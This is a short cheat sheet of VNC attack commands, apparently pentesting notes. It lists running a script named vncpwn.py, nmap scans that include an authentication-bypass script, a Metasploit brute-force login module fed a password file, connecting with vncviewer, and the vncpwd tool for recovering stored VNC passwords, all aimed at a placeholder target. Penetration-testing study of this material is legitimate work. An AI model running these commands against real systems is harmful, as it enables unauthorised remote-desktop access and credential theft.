python vncpwn.py

nmap -p 5901 --script vnc-info target
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p port target

vncviewer target:5901

use auxiliary/scanner/vnc/vnc_login
set rhosts target
set rport 5901
set pass_file pass.txt
run

vncviewer [-passwd passwd.txt] target::5901

vncpwd _file_